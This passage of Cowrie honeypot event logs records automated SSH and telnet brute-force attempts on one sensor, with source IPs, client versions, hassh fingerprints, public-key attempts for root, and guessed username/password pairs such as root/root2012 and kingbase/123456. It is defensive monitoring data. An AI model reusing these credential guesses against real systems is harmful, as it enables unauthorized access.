256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:49.245524Z","src_ip":"45.153.34.112","session":"8e965cda17ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:49.496647Z","src_ip":"45.153.34.112","session":"8e965cda17ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":53896,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16dd639a8c5","protocol":"ssh","message":"New connection: 170.238.160.191:53896 (10.17.0.5:22) [session: f16dd639a8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.408929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.414088Z","src_ip":"170.238.160.191","session":"f16dd639a8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"0743f9ff0815","protocol":"telnet","message":"New connection: 192.119.13.58:39426 (10.17.0.5:23) [session: 0743f9ff0815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.438534Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.528358Z","src_ip":"170.238.160.191","session":"f16dd639a8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.583255Z","src_ip":"45.153.34.112","session":"8e965cda17ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":41452,"dst_ip":"10.17.0.5","dst_port":22,"session":"94fafb945809","protocol":"ssh","message":"New connection: 149.56.241.206:41452 (10.17.0.5:22) [session: 94fafb945809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.912904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.917940Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:50.936849Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:50:9b:94:08:e2:b1:74:32:da:ef:76:db:60:86:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/ICK1brmxypH5vn3zrZaHobxtekPtBMOgC8Ak3FGwcA4l0LF0Fr+0Sl22H7zslDN3O57moQK5zZU8TCRWvY0UU1ee2u23vhvsuYMqRmCIGGFyQPEu8csgdRiNnEFRMXXy7kUPiUXi0wUfSBhGPskr6cbWXdgOtmaYaseywVjvrpTCOoZOEjd8maRHFZQztx//zVFMomsqUNNKGqauAXM8jLmV6WsL479rIpaCHoRKtg1KLfHG/aff8TStF20H9eIAOMBXCkdMptz0Xd2VGVZRYzR6ODI7MZDxILwt6MA+GXt+EyjIbuuTEwCbhd0UEETDuUrF1eVvSVfgvCKuulD9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:50:9b:94:08:e2:b1:74:32:da:ef:76:db:60:86:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.009733Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:50:9b:94:08:e2:b1:74:32:da:ef:76:db:60:86:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/ICK1brmxypH5vn3zrZaHobxtekPtBMOgC8Ak3FGwcA4l0LF0Fr+0Sl22H7zslDN3O57moQK5zZU8TCRWvY0UU1ee2u23vhvsuYMqRmCIGGFyQPEu8csgdRiNnEFRMXXy7kUPiUXi0wUfSBhGPskr6cbWXdgOtmaYaseywVjvrpTCOoZOEjd8maRHFZQztx//zVFMomsqUNNKGqauAXM8jLmV6WsL479rIpaCHoRKtg1KLfHG/aff8TStF20H9eIAOMBXCkdMptz0Xd2VGVZRYzR6ODI7MZDxILwt6MA+GXt+EyjIbuuTEwCbhd0UEETDuUrF1eVvSVfgvCKuulD9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.014411Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2012","message":"login attempt [root/root2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.020751Z","src_ip":"170.238.160.191","session":"f16dd639a8c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:dd:3d:12:c6:61:d4:e1:9e:86:dd:bd:3c:6b:06:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBlPjjYYobzLw7t6qfxV/zhw+7oSnEaZyaigKOcUkYLP1CzZPCHWZon876fzyBe1I4aTpsnStMNHtOJKekZFaN5u8nAgbNusYKZNmsW4TOnbxj7SzkB/bxWSoDHxzn4HCAJVDBOleUU2pfOuYUp1BfTWwDPyyOd58/5LbQqNSztx/CyY/3z1je1azVA79RaPw1o8uRA367g160yi1rFx5k/L3wANHcVcM8edgutYw2ej1rA8qUCm1XdvYjwNjemovoFUTCKNUqU1/j7H/1eJwq1KBZmd5K1sdEHGzMSXvTZf5tU6GNf35gL2nQ03sAyKyPqOUTMyS3IOSTlJddQXNyQ1b84btO+XysvPNIdB3hLnc2Gw6z7iqhb8b/b38yuUdH64WhQhgxb2LFKbNHf9ohENCD4mGNJZxKjCRZtnddvEFYCcTTgTZXS3Joo1Sei8vktjsAJ0mmV8JmCTbvuDP5i4co7LSOQhJV99tz9RB5w7MlKZ8ntfq4mH5mfmqYjx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:dd:3d:12:c6:61:d4:e1:9e:86:dd:bd:3c:6b:06:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.034295Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:dd:3d:12:c6:61:d4:e1:9e:86:dd:bd:3c:6b:06:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBlPjjYYobzLw7t6qfxV/zhw+7oSnEaZyaigKOcUkYLP1CzZPCHWZon876fzyBe1I4aTpsnStMNHtOJKekZFaN5u8nAgbNusYKZNmsW4TOnbxj7SzkB/bxWSoDHxzn4HCAJVDBOleUU2pfOuYUp1BfTWwDPyyOd58/5LbQqNSztx/CyY/3z1je1azVA79RaPw1o8uRA367g160yi1rFx5k/L3wANHcVcM8edgutYw2ej1rA8qUCm1XdvYjwNjemovoFUTCKNUqU1/j7H/1eJwq1KBZmd5K1sdEHGzMSXvTZf5tU6GNf35gL2nQ03sAyKyPqOUTMyS3IOSTlJddQXNyQ1b84btO+XysvPNIdB3hLnc2Gw6z7iqhb8b/b38yuUdH64WhQhgxb2LFKbNHf9ohENCD4mGNJZxKjCRZtnddvEFYCcTTgTZXS3Joo1Sei8vktjsAJ0mmV8JmCTbvuDP5i4co7LSOQhJV99tz9RB5w7MlKZ8ntfq4mH5mfmqYjx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.038322Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:51:6b:f3:05:cf:f2:55:c5:2c:8d:d7:6f:a5:66:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAGgIvcPfzZuvkkmsbCbZoTlU5Mpz+HlWAEByPoQpxdiPRefvjPTktu4vW8OXvX7mUOf/uCdl+s+t+Lm3IFRBAJq3sTG35LpkUy0gadslgbD6RYNfmTreDCPvIS4940xcyltzigd02ARmKKU+2/pRmgqgBhqYMYoK7ZeQSAN1B9km65m9nBuRWIdVQYY125OmUaFUDqYBvU234ciTsosmUHgpz3SKz/v1MzAkzKG5MIHhEFb5Ql4wQC7JOIWpLB7PhP2KNHmr/0YjZR2Z/ne+4ckMUnd4YNJ8rD0G5iLNJOcqYWCTOUc9jfASFGu3Gkbq8AfjdmEx/jRkJ2suMNXit","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:51:6b:f3:05:cf:f2:55:c5:2c:8d:d7:6f:a5:66:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.058233Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:51:6b:f3:05:cf:f2:55:c5:2c:8d:d7:6f:a5:66:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAGgIvcPfzZuvkkmsbCbZoTlU5Mpz+HlWAEByPoQpxdiPRefvjPTktu4vW8OXvX7mUOf/uCdl+s+t+Lm3IFRBAJq3sTG35LpkUy0gadslgbD6RYNfmTreDCPvIS4940xcyltzigd02ARmKKU+2/pRmgqgBhqYMYoK7ZeQSAN1B9km65m9nBuRWIdVQYY125OmUaFUDqYBvU234ciTsosmUHgpz3SKz/v1MzAkzKG5MIHhEFb5Ql4wQC7JOIWpLB7PhP2KNHmr/0YjZR2Z/ne+4ckMUnd4YNJ8rD0G5iLNJOcqYWCTOUc9jfASFGu3Gkbq8AfjdmEx/jRkJ2suMNXit","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.062258Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:b4:c1:0a:ba:74:e6:d1:a0:b2:22:9d:dc:f1:1b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA723DjqqnAdqgLLNUdH4om4nu+5yk6fI9Q3ERehgM4v3FbKlJUMh7RRkvC1wkpqfD/Wvx+mPBkKOxhzplczYDAuOZNM+vDqcb9dXJzklU9vzBykniJa/zp4NltC9+nDFxVa7h1W5dQ6GFlrF5CcZ/r6iayfMu7+LSFDqZ0dHUrvos9B6qRnMGPThy0n87dN7GdXnF+EEMgW87btJ8kP0OWbinNln9o71MfdMlD4UI/9Btwo25VNMWSH2kETW4zOHEioj9BMsFl8ZGO84BjxyvQnNR5NP2ki4QfKq/gxh39hcmI46rgRjWigVQWwmILZOpxgy6ntfEypaPEgLDNpZz8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:b4:c1:0a:ba:74:e6:d1:a0:b2:22:9d:dc:f1:1b:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.082608Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:b4:c1:0a:ba:74:e6:d1:a0:b2:22:9d:dc:f1:1b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA723DjqqnAdqgLLNUdH4om4nu+5yk6fI9Q3ERehgM4v3FbKlJUMh7RRkvC1wkpqfD/Wvx+mPBkKOxhzplczYDAuOZNM+vDqcb9dXJzklU9vzBykniJa/zp4NltC9+nDFxVa7h1W5dQ6GFlrF5CcZ/r6iayfMu7+LSFDqZ0dHUrvos9B6qRnMGPThy0n87dN7GdXnF+EEMgW87btJ8kP0OWbinNln9o71MfdMlD4UI/9Btwo25VNMWSH2kETW4zOHEioj9BMsFl8ZGO84BjxyvQnNR5NP2ki4QfKq/gxh39hcmI46rgRjWigVQWwmILZOpxgy6ntfEypaPEgLDNpZz8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.086685Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:37:ab:df:b3:58:c9:3d:fe:3c:fa:cf:fe:c1:ca:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI6MeWk629feF4E83FKz5UglZ/iSOVY1Kf1vnaH3meCcQVOKqpYIyFCWJG4dEmQ9pupfQeOy7RnxCRV6LtoOx6i+LidBN2+5ok6bVEgL0TkMfzoVeEVvkqWA2pFOQIcfOnhCVbqxIrnK+oZJbuglcuRDdwC5E1yTLlQucs8uegpDSQd+cmcMRTHeSiFmhyBw6s3Gxgshrdx6KG2Nys/FzMhj4QiiBZ1wxw7ekP8UH1R8tyDchjc63iYsTdWfVJMjjwswQitSlokuvZ+qjZKe1Xo4BYPaNNpm6CB7YwW9kFlTEWGeDFb0tfwGP5OYVnGXUAYdoVWRJaLrG6qAJWVZjp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:37:ab:df:b3:58:c9:3d:fe:3c:fa:cf:fe:c1:ca:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.105357Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:37:ab:df:b3:58:c9:3d:fe:3c:fa:cf:fe:c1:ca:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI6MeWk629feF4E83FKz5UglZ/iSOVY1Kf1vnaH3meCcQVOKqpYIyFCWJG4dEmQ9pupfQeOy7RnxCRV6LtoOx6i+LidBN2+5ok6bVEgL0TkMfzoVeEVvkqWA2pFOQIcfOnhCVbqxIrnK+oZJbuglcuRDdwC5E1yTLlQucs8uegpDSQd+cmcMRTHeSiFmhyBw6s3Gxgshrdx6KG2Nys/FzMhj4QiiBZ1wxw7ekP8UH1R8tyDchjc63iYsTdWfVJMjjwswQitSlokuvZ+qjZKe1Xo4BYPaNNpm6CB7YwW9kFlTEWGeDFb0tfwGP5OYVnGXUAYdoVWRJaLrG6qAJWVZjp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.108819Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.127337Z","src_ip":"149.56.241.206","session":"94fafb945809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.29578399658203,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:51.603132Z","src_ip":"192.119.13.58","session":"d0367bb3d431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:52.137233Z","src_ip":"170.238.160.191","session":"f16dd639a8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37744,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cab3a781de","protocol":"ssh","message":"New connection: 45.153.34.112:37744 (10.17.0.5:22) [session: d2cab3a781de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:53.037573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:53.042296Z","src_ip":"45.153.34.112","session":"d2cab3a781de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:53.124473Z","src_ip":"45.153.34.112","session":"d2cab3a781de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:53.373584Z","src_ip":"45.153.34.112","session":"d2cab3a781de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b07cf60516f","protocol":"telnet","message":"New connection: 192.119.13.58:52752 (10.17.0.5:23) [session: 8b07cf60516f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:54.371944Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:54.459460Z","src_ip":"45.153.34.112","session":"d2cab3a781de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37758,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbd5d44af5c6","protocol":"ssh","message":"New connection: 45.153.34.112:37758 (10.17.0.5:22) [session: dbd5d44af5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:56.620481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:56.712833Z","src_ip":"45.153.34.112","session":"dbd5d44af5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:56.721844Z","src_ip":"45.153.34.112","session":"dbd5d44af5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:57.098577Z","src_ip":"45.153.34.112","session":"dbd5d44af5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:58.184560Z","src_ip":"45.153.34.112","session":"dbd5d44af5c6","protocol":"ssh"}
